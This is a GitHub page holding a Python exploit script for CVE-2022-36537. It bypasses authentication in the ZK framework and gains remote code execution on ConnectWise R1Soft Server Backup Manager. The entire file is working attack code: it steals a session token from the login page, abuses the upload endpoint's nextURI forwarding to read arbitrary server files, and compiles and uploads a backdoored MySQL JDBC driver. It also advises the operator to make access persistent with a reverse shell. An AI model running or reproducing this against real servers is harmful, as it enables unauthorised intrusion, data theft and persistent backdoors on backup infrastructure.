-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathCVE-2022-36537.py
211 lines (171 loc) · 7.91 KB
/
CVE-2022-36537.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/env python3
# coding: utf-8
"""
@File : CVE-2022-36537.py
@Time : 2022/11/11 23:34
@Author : Bearcat of www.numencyber.com
@Version : 1.0
@Desc : ZK framework authentication bypass & connectWise r1Soft server backup manager remote code execution.
"""
import sys
import subprocess
import os
import warnings
import re
import zipfile
import shutil
import requests
from requests_toolbelt import MultipartEncoder
import urllib3
from selenium import webdriver
from rich import print as rprint
import argparse
urllib3.disable_warnings()
# proxy = {
# "http": "http://127.0.0.1:8080"
# }
proxy = {}
# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/
def bypass_auth1(target):
warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)
rprint("[italic green][*] Bypass authentication.")
try:
opt = webdriver.ChromeOptions()
opt.add_argument('--headless')
opt.add_argument('--ignore-certificate-errors')
driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)
driver.get(target)
cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']
dtid = driver.execute_script("""
for (var dtid in zk.Desktop.all)
return dtid
""")
return dtid, cookie_str
except Exception as e:
rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
exit()
def bypass_auth2(target):
rprint("[italic green][*] Bypass authentication.")
uri = "{0}/login.zul".format(target)
try:
result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)
cookie_str = result.headers['Set-Cookie'].split(";")[0]
r = u"dt:'(.*?)',cu:"
regex = re.compile(r)
dtid = regex.findall(result.text)[0]
return dtid, cookie_str
except Exception as e:
rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
exit()
def forward_request(target, next_uri, cookie_str, uuid, dtid):
uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)
param = {"nextURI": (None, next_uri)}
headers = {"Cookie": cookie_str}
data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")
headers["Content-Type"] = data.content_type
try:
result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)
return result
except Exception as e:
rprint("[italic red][-] Forward request failed. {0}".format(e))
exit()
def read_file(target, filename):
# get login_dtid
login_dtid, cookie_str = bypass_auth2(target)
rprint("[italic green][*] Start reading the file:")
result = forward_request(target, filename, cookie_str, "101010", login_dtid)
return "-----file start-----\n{0}\n-----file end-----".format(result.text)
def deploy_jdbc_backdoor(target):
rprint(
"[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.")
play_again = input("Whether to continue? (y/n):").lower()
if play_again[0] != "y":
exit()
# get login_dtid
login_dtid, cookie_str = bypass_auth2(target)
rprint("[italic green][*] Start deploying the jdbc backdoor.")
build_jdbc_backdoor()
# database_dtid and mysql_driver_upload_button_id
uri = "/Configuration/database-drivers.zul"
result = forward_request(target, uri, cookie_str, "101010", login_dtid)
r1 = u"{dt:'(.*?)',cu:"
regex = re.compile(r1)
database_dtid = regex.findall(result.text)[0]
r1 = u"'zul.wgt.Button','(.*?)',"
regex = re.compile(r1)
mysql_driver_upload_button_id = regex.findall(result.text)[0]
uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format(
database_dtid, mysql_driver_upload_button_id)
result = forward_request(target, uri, cookie_str, "101010", login_dtid)
# file_upload_dlg_id and file_upload_id
r1 = u"zul.fud.FileuploadDlg','(.*?)',"
regex = re.compile(r1)
file_upload_dlg_id = regex.findall(result.text)[0]
r1 = u"zul.wgt.Fileupload','(.*?)',"
regex = re.compile(r1)
file_upload_id = regex.findall(result.text)[0]
uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid)
upload_jdbc_backdoor(uri, cookie_str)
uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format(
database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id)
forward_request(target, uri, cookie_str, "101010", login_dtid)
uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid,
file_upload_dlg_id)
forward_request(target, uri, cookie_str, "101010", login_dtid)
def upload_jdbc_backdoor(uri, cookie_str):
rprint("[italic green][*] Upload the database driver.")
headers = {"Cookie": cookie_str}
files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')}
try:
requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy)
except Exception as e:
rprint("[italic red][-] Upload the database driver failed. {0}".format(e))
exit()
def build_jdbc_backdoor():
rprint("[italic green][*] Compile java code.")
java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'
popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
popen.stdout.read()
tmp_path = 'jdbc_jar'
os.mkdir(tmp_path)
with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf:
unzf.extractall("jdbc_jar")
unzf.close()
os.remove('jdbc_jar/com/mysql/jdbc/Driver.class')
shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')
with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(tmp_path):
relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep
for filename in files:
zf.write(os.path.join(root, filename), relative_root + filename)
zf.close()
shutil.rmtree(tmp_path)
rprint("[italic green][*] Build jdbc backdoor success.")
def banner():
rprint("[italic white]CVE-2022-36537:\n\tZK framework authentication bypass")
rprint("[italic white]\tConnectWise r1Soft server backup manager remote code execution")
def parse_args():
parser = argparse.ArgumentParser(prog='cve-2022-36537',
formatter_class=argparse.RawTextHelpFormatter,
description='author: Bearcat of www.numencyber.com',
usage='cve-2022-36537.py [options]')
parser.add_argument('-u', '--url', type=str, default='', help='target url')
parser.add_argument('-r', '--read', type=str, default='', help='reading the file')
parser.add_argument('-b', '--build', action="store_true", help='build jdbc backdoor')
parser.add_argument('-d', '--deploy', action="store_true", help='deploying the jdbc backdoor')
if len(sys.argv) == 1:
sys.argv.append('-h')
args = parser.parse_args()
return args
if __name__ == '__main__':
banner()
args = parse_args()
if args.url and args.read:
print(read_file(args.url, args.read))
exit()
if args.build:
build_jdbc_backdoor()
exit()
if args.url and args.deploy:
deploy_jdbc_backdoor(args.url)
exit()